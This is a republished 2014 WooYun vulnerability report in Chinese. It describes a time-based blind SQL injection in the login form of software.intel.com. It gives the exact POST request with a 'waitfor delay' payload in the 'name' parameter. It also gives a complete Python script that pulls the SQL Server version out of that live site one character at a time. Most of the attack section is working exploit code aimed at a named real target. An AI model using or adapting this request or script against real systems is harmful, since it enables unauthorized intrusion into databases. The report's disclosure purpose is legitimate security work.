英特尔公司另一分站MSSQL盲注(附python脚本)

admin 2015年7月28日15:14:54评论293 views字数 219阅读0分43秒阅读模式
摘要

2014-11-03: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-12-18: 厂商已经主动忽略漏洞,细节向公众公开

漏洞概要 关注数(6) 关注此漏洞

缺陷编号: WooYun-2014-81815

漏洞标题: 英特尔公司另一分站MSSQL盲注(附python脚本)

相关厂商: 英特尔

漏洞作者: lijiejie英特尔公司另一分站MSSQL盲注(附python脚本)

提交时间: 2014-11-03 14:56

公开时间: 2014-12-18 14:58

漏洞类型: SQL注射漏洞

危害等级: 中

自评Rank: 8

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

2人收藏


漏洞详情

披露状态:

2014-11-03: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-12-18: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

英特尔公司另一分站MSSQL盲注,写了一段验证脚本。

详细说明:

注入点:

code 区域
POST https://software.intel.com/en-us/user/login

form_build_id=form-koPSRbAyaPXexmNEmu5Spug7HZzMimS28Q4IEcDY-6o&form_id=user_login&name=fasfa')); if (ascii(substring(@@version,1,1))!=1) waitfor delay '0:0:13' -- &op=Log in&pass=fasdfas

参数name可注入。

漏洞证明:

SQL Server版本:

Mirosoft SQL Server 2005 - 9

英特尔公司另一分站MSSQL盲注(附python脚本)

脚本附上:

code 区域
import httplib
import time
import string
import sys
import random
import urllib

headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': '',
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}

payloads = list(string.ascii_lowercase)
payloads += list(string.ascii_uppercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.', '-', '//', ' ']

print 'Try to retrive SQL Server Version:'
user = ''
for i in range(1,30,1):
for payload in payloads:
timeout_count = 0
for j in range(1,3):
try:
conn = httplib.HTTPSConnection('software.intel.com', timeout=5)
params = {
'form_build_id': 'form-koPSRbAyaPXexmNEmu5Spug7HZzMimS28Q4IEcDY-6o',
'form_id': 'user_login',
'name': "fasfa')); if (ascii(substring(@@version,%s,1))=%s) waitfor delay '0:0:5' -- " % (i, ord(payload)),
'op': 'Log in',
'pass': 'fasfasd',
}
start_time = time.time()
conn.request(method='POST',
url= '/en-us/user/login',
body = urllib.urlencode(params),
headers = headers)
conn.getresponse()
conn.close()
break
except:
timeout_count += 1
if timeout_count == 2: # 2 times to confirm
user += payload
sys.stdout.write( '/r[In Progress] ' + user )
sys.stdout.flush()
break

print '/n[Done], SQL Server version is', user

修复方案:

参数过滤

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin